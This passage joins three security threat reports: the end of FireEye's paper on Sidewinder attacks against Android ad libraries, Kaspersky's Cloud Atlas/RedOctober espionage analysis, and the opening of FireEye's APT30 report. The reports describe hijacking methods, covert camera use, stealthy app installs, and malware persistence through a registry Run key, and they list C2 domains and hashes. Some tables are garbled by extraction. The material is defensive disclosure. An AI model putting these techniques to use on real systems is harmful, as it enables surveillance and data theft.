Second, Android warns that Preview must be started before you can take a picture19.
It seems that taking pictures and recording videos without user notification is impossible.
However, security largely depends on the correct implementation and enforcing a flawless implementation is difficult.
On some of the popular phones (models anonymized for security consideration), startPreview() is required to take pictures/record videos However, its highly possible that on these devices takePicture() fails to check whether a view has been presented to the user.
Fortunately, we have never witnessed a case where the MediaRecorder can shoot videos without calling setPreviewDisplay.
But we were able to create and register a dummy SurfaceView to the WindowManager, which made taking photos and videos possible even on devices that properly checked for an existing preview.
18  http://www.fireeye.com/blog/technical/2014/04/occupy_your_icons_ silently_on_android.html.
19 http://developer.android.com/reference/android/hardware/Camera.html.
11  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android Stealthy App Installation by Abusing Credentials With both the GET ACCOUNTS and the USE CREDENTIALS permissions, Android pro- cesses can get secret tokens of services (e.g., Google services) from the AccountManager and use them to authenticate to these services20.
We verified that Android apps with these two permissions can authenticate themselves with the users Google account, allowing access to Google Play and the ability send app installation requests.
Through the Javascript bridge, attackers can install apps of choice (e.g., an attackers phishing app) to any devices registered in users account in the background without user  consent.
Combined with the  launcher  modification  attack  introduced earlier,  the attackers can redirect other app icons (e.g., bank or email app icons) to the phishing app and steal the users login credentials.
Targeting Victims Based on Ad Traffic In this section, we explain the risks of victims devices being tracked and targeted through ad traffic.
Communication Channels Prone to Hijack It is well known that communication via HTTP is prone to hijacking and data tamper- ing.
Though ad libraries may not have the incentive to abuse users private and sensitive data, this is not the case with the attackers eavesdropping or hijacking the HTTP traffic.
Switching to HTTPS may not solve this issue since the HTTPS security relies on a flawless implementation, which is difficult.
For example, there are cases where the developer failed (intentionally or unintentionally) to check the servers certificate21.
We found that some of the most popular ad libraries (see Table 3) have this issue.
We successfully launched Man-in-the- Middle (MITM) attacks and intercepted the data uploaded to the remote server.
Note that even if the ad libraries have a correct and rigorous implementation, the SSL library itself may contain serious vulnerabilities that can be exploited by MITM attacks22,23.
Information Leakage from Ad Libraries Almost every ad library uploads local information from Android devices.
Based on our observations, they do so mostly for purposes such as checking for platform compatibility and user interest targeting.
The information most frequently uploaded includes IMEI, Android version, manufacturer, Android ID, device specification, carrier information, host app information, installed app list, etc.
Table 3 lists the info uploaded from the top five popular ad libraries.
Listing 7 is a captured packet posted to the remote ad server by one of the ad libraries.
It is Listing 7: API calls to peek into/ tamper with the clipboard requestactivityAdRequestd-device-screen-density1.5d-device-screen- size320X533u-appBIdcom.example.appu-appDNMExampleu-appVer1.2h-user- agentMozilla 2F5.028Linux3BU3BAndroid4.1.23Ben-us3BsdkBuild2FMASTER 29AppleWebKit2F534.3028KHTML2ClikeGecko29Version2F4.0MobileSafari 2F534.30d-localizationen_usd-netTypeumtsd-orientation1u-latlong-accu 37.4108352C-121.9205142C 20  http://seclists.org/bugtraq/2014/Mar/52.
21 Sascha Fahl,  Marian  Harbach,  Thomas  Muders,  Lars  Baumgartner,  Bernd  Freisleben, and Matthew Smith.
Why eve and mallory love android: An analysis of android ssl (in) security.
In Proceedings of the 2012 ACM conference on Computer and communications security, pages 5061.
ACM, 2012.
22  https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-0224.
23 http://www.fireeye.com/blog/technical/2014/04/if-an-android-has-a- heart-does-it-bleed.html.
12  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android captured from a popular Google Play app.
From this packet we can tell the devices screen density (d-device-screen-density), screen size (d-device- screen-size), host apps pack- age name (u-appBId), host apps name (u-appDNM)1, host apps version (u-appVer), user agent (h-user-agent), localization (d-localization), mobile network type (d-netType), screen orientation (d-orientation), and GPS location (u-latlong-accu).
The most important infor- mation is the GPS location, where the victims latitude, longitude and the location precision are shown.
It is reasonable for an ad to obtain this information to improve the ad-serving experience.
However, with this information, an attacker can precisely locate the victim and acquire the devices specifications.
Large-scale Monitoring and Precise Hijacking To locate victims effectively, an attacker needs to monitor large-scale network traffic containing such private information.
Unfortunately, several well-known attacks can be used to achieve large-scale monitoring, including DNS hijacking, BGP hijacking, and ARP hijacking in IDC.
In this context, DNS hijacking is done to subvert the resolution of Domain Name System (DNS) queries through modifying the behavior of DNS servers so that they serve fake DNS information.
DNS hijacking is legally and maliciously used in many situations including traffic management, phishing and censorship.
Attackers successfully compromised many DNS servers, including the ones from Google and Godaddy24.
By DNS hijacking, attackers can effectively access all the traffic to ad servers.
BGP hijacking takes over groups of IP addresses, corrupting Internet routing tables by breaking BGP sessions or injecting fake BGP information.
This enables attackers to monitor all traffic to specific IPs.
Historically, there were many BGP hijacking attacks that affected YouTube, DNS root servers, Yahoo, and many other important Internet services25.
ARP hijacking (or spoofing) in IDC26 is done to hijack the traffic to the ad server in the IDC where the ad server locates through fake ARP packets.
Attackers may rent servers close to the target servers, and use fake ARP packets to direct all the traffic to go through the hijacking servers first for monitoring and hijacking..ARP hijacking is a well-known approach used in network attacks.
Using the large-scale traffic intercepted from the above methods, attackers can iden- tify potential victims based on information leakage such as GPS Figure 4: Number of ad libraries included in Google Play apps (with more than 50,000 downloads App Num 0 20429 4 2343 8 1310 2 9196 6 2543 10 498 1 25017 5 1291 9 607 3 4452 7 1609 10 980 0 24  https://isc.sans.edu/diary/Domaincontrol(GoDaddy)NameserversDNS Poisoning/5146.
25 http://www.networkworld.com/article/2272520/lan-wan/six-worst-internet- routing-attacks.html.
26 http://en.wikipedia.org/wiki/ARP\_spoofing.
13  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android location described in Sec- tion 4.2.
After that, they can inject exploits only into the targeted traffic to launch further attacks.
Attackers keep a low profile by allowing all other irrelevant network traffic to pass without being modified.
Targetable and Exploitable Google Play Apps We used the FireEye Mobile Threat Prevention (MTP) engine to analyze all of the 73,000 popular apps from Google Play with more than 50,000 downloads, and identified 93 ad libraries.
The detailed ad library inclusion statistics are shown in Figure 4.
Seventy-one of the apps contain at least one ad library, 35 have at least two ad libraries, and 22.25 include at least three ad libraries.
The largest ad inclusion number is 35.
Since Google is cautious about the security of the products it directly controls, we exclude Google Ad from the following discussion.
For security considerations, in this paper we anonymize the names of the other 92 ad libraries, using Ad1, Ad2, ..., Ad92 to refer to them, where the subscripts represent the rankings of how many apps include the ad libraries.
The top five popular ad libraries inclusion and download statistics are listed in Table 2.
We analyzed the 92 ad libraries found in the popular Google Play apps, and summa- rized the communication channel vulnerabilities in Table 3.
Combined with the uploaded information column we can learn about the data the attackers can obtain.
Fifty-seven of the 92 ad libraries in the popular Google Play apps have the JBOH issue.
Specifically, four of the top five ad libraries are subject to this problem (shown in Table 2).
Seven of the 92 ad libraries are prone to DLOH attacks.
Particularly, some versions of Ad5 in Table 3 have this problem.
The affected Google Play apps number and the accumulated download counts are listed in Table 4.
Table 2: The inclusion statistics of the top five Android ad libraries excluding Google Ad.
Their JBOH statistics are also listed (discussed in the earlier JBOH section.
).
Ad Library Number of Apps JBOH Apps Total Downloads JBOH Downloads Ad1 9,702 2,802 8,781M 2,348M Ad2 8,856 4,204 7,865M 4,754M Ad3 8,818 2,117 8,499M 1,611M Ad4 5,519 1,112 4,687M 617M Ad5 5,170 0 4,519M 0 14  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android Table 3: The uploaded data, communication channel vulnerabilities, and JBOH/DLOH details of the top five ad libraries.
Table 4: Assessment statistics of Google Play apps (downloads 50,000) that are vulnerable to the Sidewinder Targeted Attack.
Type I apps are those subject to JBOH or DLOH attacks Type II apps are those not only JBOH/DLOH exploitable but also have the LOCATION leakage (thus vulnerable to the Sidewinder Targeted Attack).
Note that an app is counted in the total statistics if it is subject to any of the attacks, including uploading files and root exploits.
Ad Library Uploaded Info Protocol SSL Vuln JBOH DLOH Ad1 IMEI/device  id,  device  model,  An- droid version, location HTTP/ HTTPS Ad2 device specification, Android version, host app info, location HTTP Ad3 IMEI/device  id,  device  model,  An- droid  version,  device  manufacturer, carrier info, location, ip HTTP Ad4 IMEI/device id, device model, device specification, Android version HTTP Ad5 IMEI/device id, device model, device specification, Android version, coun- try, launguage HTTPS Subject to attack type Type I Type I Downloads Type II Type II Downloads Code injection via ptrace 2,055 444M 272 67M Send SMS 349 340M 229 254M Make phone calls 572 399M 426 324M Launcher modification 111 95M 81 37M Proxy modification 644 792M 419 378M Record audio 1,097 1,408M 654 621M Take pictures/record videos 1,141 1,380M 622 665M Install apps stealthily 351 552M 197 332M Total(incl.
root exploits) 16,579 11,706M 4,201 3,207M 15  www.fireeye.com FireEye:  Sidewinder Targeted Attack against Android Conclusion In the current golden age of Android ad libraries, Sidewinder Targeted Attacks can target victims using info leakage and other vulnerabilities of ad libraries to get valuable, sensitive information.
Millions of users are still under the threat of Sidewinder Targeted Attacks.
First we need to improve the security and privacy protection of ad libraries.
For example, we encourage ad libraries publishers to use HTTPS with proper SSL certificate validation, and to properly encrypt network traffic.
They also need to be cautious about which privileged interfaces are exposed to the ad providers, in case of malicious ads or attackers hijacking the communication channels.
Meanwhile, Google itself needs to further harden the security framework.
This may prove difficult because: 1.
Android is a complex system.
Any sub- components vulnerability may impact the security of the whole system.
Fragmentation makes the situation even more challenging.
2.
The trade-off between usability, performance and security always matters, and market demand frequently dictates that security comes last.
Many Android developers do not even understand how to program securely (as shown in the JBOH issue).
3.
Many security patches are not back-ported to old versions of Android (like the launcher settings problem described earlier), even though older versions are widely used.
4.
There is always information asymmetry in the development chain.
For example, it usually takes several months for vendors to apply security patches after Google releases them.
Albeit challenging, we hope that this work can kickstart a conversation, both on improved security and privacy protection in third-party libraries and on a hardened Android security framework.
Sidewinder Targeted Attacks can target victims using info leakage and other vulnerabilities of ad libraries to get valuable, sensitive information.
Millions of users are still under the threat of Sidewinder Targeted Attacks.
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WP.SW.EN-US.072014 About FireEye, Inc. FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks.
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Cloud Atlas: RedOctober APT is back in style Two years ago, we published our research into RedOctober, a complex cyber-espionage operation targeting diplomatic embassies worldwide.
We named it RedOctober because we started this investigation in October 2012, an unusually hot month.
After our announcement in January 2013, the RedOctober operation was promptly shut down and the network of CCs was dismantled.
As usually happens with these big operations, considering the huge investment and number of resources behind it, they dont just go away forever.
Normally, the group goes underground for a few months, redesigns the tools and the malware and resume operations.
See: RedOctober Part 1 RedOctober Part 2 Since January 2013, weve been on the lookout for a possible RedOctober comeback.
One possible hit was triggered when we observed Mevade, an unusual piece of malware that appeared late in 2013.
The Mevade CC name styles as well as some other technical similarities indicated a connection to RedOctober, but the link was weak.
It wasnt until August 2014 that we observed something which made us wonder if RedOctober is back for good.
Meet Cloud Atlas In August 2014, some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware.
We did a quick analysis of the malware and it immediately stood out because of certain unusual things that are not very common in the APT world.
Some of the filenames used in the attacks included: FT - Ukraine Russias new art of war.doc .doc Diplomatic Car for Sale.doc .doc Organigrama Gobierno Rusia.doc .doc .doc (25-26.09.14).doc .doc http://securelist.com/analysis/publications/36740/red-october-diplomatic-cyber-attacks-investigation/8 https://securelist.com/blog/incidents/57647/the-red-october-campaign/ http://securelist.com/blog/incidents/57645/red-october-part-two-the-modules/ http://en.wikipedia.org/wiki/Mevade_Botnet http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 _.doc .doc Car for sale.doc Af-Pak and Central Asias security issues.doc At least one of them immediately reminded us of RedOctober, which used a very similarly named spearphish: Diplomatic Car for Sale.doc.
As we started digging into the operation, more details emerged which supported this theory.
Perhaps the most unusual fact was that the Microsoft Office exploit didnt directly write a Windows PE backdoor on disk.
Instead, it writes an encrypted Visual Basic Script and runs it.
Cloud Atlas exploit payload - VBScript This VBScript drops a pair of files on disk - a loader and an encrypted payload.
The loader appears to be different every time and internal strings indicate it is polymorphically generated.
The payload is always encrypted with a unique key, making it impossible to decrypt unless the DLL is available.
We observed several different spear-phishing documents that drop uniquely named payloads.
For instance, the qPd0aKJu.vbs file MD5: http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2014/12/Cloud_Atlas_1.jpg E211C2BAD9A83A6A4247EC3959E2A730 drops the following files: DECF56296C50BD3AE10A49747573A346 - bicorporate - encrypted payload D171DB37EF28F42740644F4028BCF727 - ctfmonrn.dll - loader The VBS also adds a registry key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ setting the key bookstore to the value regsvr32 path\ctfmonrn.dll /s, which ensures the malware runs every time at system boot.
Some of the DLL names we observed include: f4e15c1c2c95c651423dbb4cbe6c8fd5 - bicorporate.dll 649ff144aea6796679f8f9a1e9f51479 - fundamentive.dll 40e70f7f5d9cb1a669f8d8f306113485 - papersaving.dll 58db8f33a9cdd321d9525d1e68c06456 - previliges.dll f5476728deb53fe2fa98e6a33577a9da - steinheimman.dll Some of the payload names include: steinheimman papersaving previliges fundamentive bicorporate miditiming damnatorily munnopsis arzner redtailed roodgoose acholias salefians wartworts frequencyuse nonmagyar shebir getgoing The payload includes an encrypted configuration block which contains information about the CC sever: The information from the config includes a WebDAV URL which is used for connections, a username and password, two folders on the WebDAV server used to store plugins/modules for the malware and where data from the victim should be uploaded.
CC communication The Cloud Atlas implants utilize a rather unusual CC mechanism.
All the malware samples weve seen communicate via HTTPS and WebDav with the same server cloudme.com, a cloud services provider.
According to their website, CloudMe is owned and operated by CloudMe AB, a company based in Linkping, Sweden.
http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2014/12/Cloud_Atlas_2.jpg (Important note: we do not believe that CloudMe is in any way related to the Cloud Atlas group - the attackers simply create free accounts on this provider and abuse them for command-and-control).
Each malware set we have observed so far communicates with a different CloudMe account though.
The attackers upload data to the account, which is downloaded by the implant, decrypted and interpreted.
In turn, the malware uploads the replies back to the server via the same mechanism.
Of course, it should be possible to reconfigure the malware to use any Cloud-based storage service that supports WebDAV.
Heres a look at one such account from CloudMe: The data from the account: http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2014/12/Cloud_Atlas_3.jpg http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2014/12/Cloud_Atlas_4.jpg The files stored in the randomly named folder were uploaded by the malware and contain various things, such as system information, running processes and current username.
The data is compressed with LZMA and encrypted with AES, however, the keys are stored in the malware body which makes it possible to decrypt the information from the CC.
We previously observed only one other group using a similar method  ItaDuke  that connected to accounts on the cloud provider mydrive.ch.
Victim statistics: top 5 infected countries Similarities with RedOctober Just like with RedOctober, the top target of Cloud Atlas is Russia, followed closely by Kazakhstan, according to data from the Kaspersky Security Network (KSN).
Actually, we see an obvious overlap of targets between the two, with subtle differences which closely account for the geopolitical changes in the region that happened during the last two years.
Interestingly, some of the spear-phishing documents between Cloud Atlas and RedOctober seem to exploit the same theme and were used to target the same entity at different times.
Both Cloud Atlas and RedOctober malware implants rely on a similar construct, with a loader and the final payload that is stored encrypted and compressed in an external file.
There are some important differences though, especially in the encryption algorithms used  RC4 in RedOctober vs AES in Cloud Atlas.
The usage of the compression algorithms in Cloud Altas and RedOctober is another interesting similarity.
Both malicious programs share the code for LZMA compression algorithm.
In CloudAtlas it is used to compress the logs and to decompress the decrypted payload from the CC servers, while in Red October the scheduler plugin uses it to decompress executable payloads from the CC.
It turns out that the implementation of the algorithm is identical in both malicious modules, however the way it is invoked is a bit different, with additional input sanity checks added to the CloudAtlas version.
http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2014/12/Cloud_Atlas_5.jpg Another interesting similarity between the malware families is the configuration of the build system used to compile the binaries.
Every binary created using the Microsoft Visual Studio toolchain has a special header that contains information about the number of input object files and version information of the compilers used to create them, the Rich header called so by the magic string that is used to identify it in the file.
We have been able to identify several RedOctober binaries that have Rich headers describing exactly the same layout of VC 2010  VC 2008 object files.
Although this doesnt necessarily mean that the binaries were created on the same development computer, they were definitely compiled using the same version of the Microsoft Visual Studio up to the build number version and using similar project configuration.
Number of object files, CloudAtlas loader Number of object files, Red October Office plugin Number of object files,Red October Fileputexec plugin HEX compiler version Decoded compiler version 01 01 01 009D766F VC 2010 (build 30319) 01 01 01 009B766F VC 2010 (build 30319) 22 2E 60 00AB766F VC 2010 (build 30319) 5B 60 A3 00010000 05 07 11 00937809 VC 2008 (build 30729) 72 5C AD 00AA766F VC 2010 (build 30319) 20 10 18 009E766F VC 2010 (build 30319) http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2014/12/lzma.jpg To summarize the similarities between the two: Cloud Atlas RedOctober Shellcode marker in spearphished documents PTT PTT Top target country Russia Russia Compression algorithm used for CC communications LZMA LZMA CC servers claim to be / redirect to BBC (mobile malware) BBC Compiler version VC 2010 (build 30319) VC 2010 (build 30319) (some modules) Finally, perhaps the strongest connection comes from targeting.
Based on observations from KSN, some of the victims of RedOctober are also being targeted by CloudAtlas.
In at least one case, the victims computer was attacked only twice in the last two years, with only two malicious programs  RedOctober and Cloud Atlas.
These and other details make us believe that CloudAtlas represents a rebirth of the RedOctober attacks.
Conclusion Following big announcements and public exposures of targeted attack operations, APT groups behave in a predictable manner.
Most Chinese-speaking attackers simply relocate CC servers to a different place, recompile the malware and carry on as if nothing happened.
Other groups that are more nervous about exposure go in a hibernation mode for months or years.
Some may never return using the same tools and techniques.
However, when a major cyber-espionage operation is exposed, the attackers are unlikely to completely shut down everything.
They simply go offline for some time, completely reshuffle their tools and return with rejuvenated forces.
We believe this is also the case of RedOctober, which makes a classy return with Cloud Atlas.
Kaspersky products detect the malware from the Cloud Atlas toolset with the following verdicts: Exploit.
Win32.CVE-2012-0158.j Exploit.
Win32.CVE-2012-0158.eu Exploit.
Win32.CVE-2012-0158.aw Exploit.MSWord.CVE-2012-0158.ea HEUR:Trojan.
Win32.CloudAtlas.gen HEUR:Trojan.
Win32.Generic HEUR:Trojan.
Script.
Generic Trojan-Spy.
Win32.Agent.ctda Trojan-Spy.
Win32.Agent.cteq Trojan-Spy.
Win32.Agent.ctgm Trojan-Spy.
Win32.Agent.ctfh Trojan-Spy.
Win32.Agent.cter Trojan-Spy.
Win32.Agent.ctfk Trojan-Spy.
Win32.Agent.ctfj Trojan-Spy.
Win32.Agent.crtk Trojan-Spy.
Win32.Agent.ctcz Trojan-Spy.
Win32.Agent.cqyc Trojan-Spy.
Win32.Agent.ctfg Trojan-Spy.
Win32.Agent.ctfi Trojan-Spy.
Win32.Agent.cquy Trojan-Spy.
Win32.Agent.ctew Trojan-Spy.
Win32.Agent.ctdg Trojan-Spy.
Win32.Agent.ctlf Trojan-Spy.
Win32.Agent.ctpz Trojan-Spy.
Win32.Agent.ctdq Trojan-Spy.
Win32.Agent.ctgm Trojan-Spy.
Win32.Agent.ctin Trojan-Spy.
Win32.Agent.ctlg Trojan-Spy.
Win32.Agent.ctpd Trojan-Spy.
Win32.Agent.ctps Trojan-Spy.
Win32.Agent.ctpq Trojan-Spy.
Win32.Agent.ctpy Trojan-Spy.
Win32.Agent.ctie Trojan-Spy.
Win32.Agent.ctcz Trojan-Spy.
Win32.Agent.ctgz Trojan-Spy.
Win32.Agent.ctpr Trojan-Spy.
Win32.Agent.ctdp Trojan-Spy.
Win32.Agent.ctdr Trojan.
Win32.Agent.idso Trojan.
Win32.Agent.idrx HEUR:Trojan.
Linux.
Cloudatlas.a Trojan.
AndroidOS.Cloudatlas.a Trojan.
IphoneOS.Cloudatlas.a Parallel research: Blue Coat Exposes Inception Framework https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-E2809C-inception-frameworkE2809D-very-sophisticated-layered-malware
S P E C I A L  R E P O R T SECURITY REIMAGINED APRIL 2015 F I R E E Y E  L A B S  /  F I R E E Y E  T H R E A T  I N T E L L I G E N C E APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION How a Cyber Threat Group Exploited Governments and Commercial Entities across Southeast Asia and India for over a Decade Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 2 Introduction 3 Key Findings 4 APT30: In It for the Long Haul 5 Professionally Developing Tools: APT30 Uses a Consistently Organized Malware Development Approach 7 Using Two-Stage C2 to Balance Stealth and Scalability 9 APT30s Full-Featured Backdoor Control System Suggests Target Prioritization and Shift Work 11 Establishing Remote Control 12 BACKSPACE Controller-Backdoor Communication 14 Target Host Prioritization and Alerts 14 Executing Custom Tasks 15 Version Control and Automatic Updates 15 Disk Serial Number Authentication 16 APT30 Possibly Working in Shifts 16 APT30s Primary Mission: Data Theft for Political Gain 17 APT30s Targets Align with Chinese Government Interests and Focus on Southeast Asia 19 APT30 Pursues Members of the Association of Southeast Asian Nations (ASEAN) 20 ASEAN-themed Infrastructure and Customized Tools 21 Customized Malware Deployed around ASEAN Summits in January and April 2013 22 Social Engineering Consistently Includes Regional Security and Political Themes 25 APT30 Leverages Major Political Transition as Phishing Lure Content in Campaign Geared to Key Political Stakeholders 23 Repeated Decoy Subjects on India-China Military Relations and Contested Regions 23 APT30s Targeting of Journalists and Public Relations Topics 26 Conclusion  28 Appendix A - Detailed Malware Analysis 29 Backdoors 29 BACKSPACE Backdoor  ZJ Variant 30 BACKSPACE Backdoor  ZR Variant 36 NETEAGLE Backdoor  Scout Variant 47 NETEAGLE Backdoor  Norton Variant 50 Malware Targeting Removable Drives 51 SHIPSHAPE 51 SPACESHIP 53 FLASHFLOOD 55 Miscellaneous Tools 57 MILKMAID / ORANGEADE Droppers and CREAMSICLE Downloader 57 BACKBEND and GEMCUTTER Downloaders 58 Appendix B  MD5 HASHES 60 Appendix C  ENDNOTES 63 CONTENTS APRIL 2015 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 3 SPECIAL REPORT 333 hen our singapore-based fireeye labs team examined malware aimed predominantly at entities in Southeast Asia and India, we suspected that we were peering into a regionally focused cyber espionage operation.
The malware revealed a decade-long operation focused on targetsgovernment and commercialwho hold key political, economic, and military information about the region.
This group, who we call APT30, stands out not only for their sustained activity and regional focus, but also for their continued success despite maintaining relatively consistent tools, tactics, and infrastructure since at least 2005.
In essence, our analysis of APT30 illuminates how a group can persistently compromise entities across an entire region and subcontinent, unabated, with little to no need to significantly change their modus operandi.
Based on our malware research, we are able to assess how the team behind APT30 works: they prioritize their targets, most likely work in shifts in a collaborative environment, and build malware from a coherent development plan.
Their missions focus on acquiring sensitive data from a variety of targets, which possibly include classified government networks and other networks inaccessible from a standard Internet connection.
While APT30 is certainly not the only group to build functionality to infect air-gapped networks into their operations, they appear to have made this a consideration at the very beginning of their development efforts in 2005, significantly earlier than many other advanced groups we track.
Such a sustained, planned development effort, coupled with the groups regional targets and mission, lead us to believe that this activity is state sponsoredmost likely by the Chinese government.
Rather than focus on the potential sponsorship of this activity, this report seeks to thoroughly analyze the development effort of one of the longest-running advanced threat groups weve observed.
APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APT30 is noted for sustained activity, but also for successfully maintaining the same tools, tactics, and infrastructure since at least 2005.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 4 SPECIAL REPORT KEY FINDINGS APT30s development and refinement of a set of integrated tools, as well as their re-use of infrastructure over a period of 10 years, suggests a consistent long-term mission.
This suite of tools includes downloaders, backdoors, a central controller, and several components designed to infect removable drives and cross air-gapped networks to steal data.
APT30 frequently registers their own DNS domains for use with malware command and control (C2).
Based on their presence in malware samples, some of the domains have been in use for many years.
APT30 has a structured and organized workflow, illustrative of a collaborative team environment, and their malware reflects a coherent development approach.
The group (or the developers supporting them) systematically labels and keeps track of their malware versioning.
The malware uses mutexes and events to ensure only a single copy is running at any given time, and the malware version information is embedded within the binary.
Malware C2 communications include a version check that allows the malware to update itself to the latest copy, providing a continuous update management capability.
The controller software for APT30s BACKSPACe backdoor (also known as Lecna) suggests the threat actors prioritize targets and may work on shifts.
APT30 backdoors commonly use a two- stage C2 process, where victim hosts contact an initial C2 server to determine whether they should connect to the attackers main controller.
The controller itself uses a GUI that allows operators to prioritize hosts, add notes to victims, and set alerts for when certain hosts come online.
Finally, an unused dialog box in the controller provides a login prompt for the current attendant.
The groups primary goal appears to be sensitive information theft for government espionage.
APT30 malware includes the ability to steal information (such as specific file types), including, in some cases, the ability to infect removable drives with the potential to jump air gaps.
Some malware includes commands to allow it to be placed in hide mode and to remain stealthy on the victim host, presumably for long-term persistence.
APT30 predominantly targets entities that may satisfy governmental intelligence collection requirements.
The vast majority of APT30s victims are in Southeast Asia.
Much of their social engineering efforts suggest the group is particularly interested in regional political, military, and economic issues, disputed territories, and media organizations and journalists who report on topics pertaining to China and the governments legitimacy.
10.
YEARS 1 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT India South Korea Malaysia Vietnam Nepal Bhutan Philippines Singapore Indonesia Brunei Myanmar Laos Cambodia Japan Thailand Saudi Arabia United States Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets 5 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Our analysis of APT30s malware and domain registration data shows the group has been operating for over a decade.
The earliest-known registration dates for domains attributed to APT30 go back to 2004, and the compile times for APT30 malware using those domains for C2 date back to 2005.1 Typically, threat groups who register domains for malicious use will abandon them after a few years.
APT30, however, has used some of their domains for more than five years, with some of their earliest domains still in use as of at least late 2014.
For example, one of the earliest known BACKSPACE malware samples (md5 hash b2138a57f723326eda5a26d2dec56851) was compiled onMarch 11, 2005 at 00:44:47.
The sample used the domain www.km-nyc[.]
com as its primary C2 location.
That domain was still in use as a secondary C2 domain in a BACKSPACE sample compiled as recently as November 5, 2014  05:57:26 (md5 hash 38a61bbc26af6492fc1957ac9b05e435).
For such a long operational history, APT30 appears to have conducted their activity using a surprisingly limited number of tools and backdoors.
One reason for this might be that they have had no need to diversify or add to their arsenal if they have been successful with their current approach.
Although APT30 has used a variety of secondary or supporting tools over the years (such as droppers and downloaders used to deploy APT30s primary backdoors), their primary tools have remained remarkably consistent over time:  namely, the backdoors BACKSPACE and NETEAGLE, and a set of tools (SHIPSHAPE, SPACESHIP, and FLASHFLOOD) believed to be designed to infect (and steal data from) air-gapped networks via infected removable drives.
Where some threat groups might exchange one backdoor for another as newer, more flexible, or more feature-rich tools become available, APT30 has chosen to invest in the long-term refinement and development of what appear to be a dedicated set of tools.
This suggests that APT30 (or the developers providing them with tools) has the ability to modify and adapt their source code to suit their current needs or their target environment.
The earliest variants of the BACKSPACE backdoor date to at least 2005, and versions of the backdoor remain in use today.
BACKSPACE itself appears to have a flexible, modularized development framework and has been modified over time to create a wide range of variants.
APT30: In It for the Long Haul km-nyc.com km153.com 11 March 2005 11 May 2014 COMPILE DATERECENT SAMPLECOMPILE DATEEARLY SAMPLE 11 May 2014 4 September 2007 DOMAIN REGISTRATION DATEDOMAIN 11 March 2004 30 August 2007 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 6 FireEye has identified two main branches of the BACKSPACE code (ZJ and ZR), each compiled with a slightly different set of commands.
In addition, while BACKSPACE has been implemented in a variety of ways (e.g., as a standalone EXE, as a DLL, as an EXE that extracts and launches a DLL at runtime) and leveraged a variety of persistence methods (e.g., via a shortcut (.lnk) file in the Startup folder, as a service DLL), the core functionality has remained largely unchanged, although some additional features have been added over time.
While the NETEAGLE backdoor does not have as venerable a history (identified samples were compiled as early as 2008 and as recently as 2013), it shows a similar pattern of long-term refinement and modification, including the development of two main variants (which we call the Scout and Norton variants).
Just as with BACKSPACE, while the details of implementation and specific features across NETEAGLE samples may vary, the core functionality remains the same except for the addition of features or enhancements.
This dedication to adapting and modifying tools over a number of years, as opposed to discarding old tools in favor of newer, readily available ones, implies that APT30 has a long-term mission, and that their mission is consistent enough for their existing tools to be sufficient to support their operations over a long period of time.
APT30 appears to have a consistent, long-term mission that relies on existing tools to remain sufficient over time.
COMPILE DATERECENT SAMPLECOMPILE DATEEARLY SAMPLEMALWARE / TOOL BACKSPACE 2 January 2005 5 November 2014 NETEAGLE 20 June 2008 6 November 2013 SHIPSHAPE 22 August 2006 9 June 2014 SPACESHIP 23 August 2006 5 June 2014 FLASHFLOOD 31 January 2005 17 February 2009 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 7 In addition to APT30s long-term use of a regular set of tools, in most cases the tools themselves  while they may vary in purpose share a consistent set of development features.
In particular, the tools all exhibit a carefully managed versioning system and a consistent method for checking version information, performing updates, and ensuring only a single copy of a given tool is running on a victim host at any time.
This suggests that APT30 is dedicated to maintaining a tightly run, efficient operation.
BACKSPACE, NETEAGLE, SHIPSHAPE, and SPACESHIP all maintain an internal version number and include some means to check their version number against a reference version, and attempt to automatically update the malware if its version is different than the reference number.
For some APT30 malware, we speculate that the version string may also describe additional properties of the malware.
For instance, one variant of BACKSPACE (ZRLnk) uses a version string where the first two digits indicate the malware version number.
The next character may indicate the type of icon stored in the files resource section and possibly the type of exploit document used to deliver the malware (for example, p for Acrobat Reader / PDF and w for Microsoft Word 2).
Finally, the next character (l) may indicate that that the malware uses a shortcut (.lnk) file to maintain persistence.
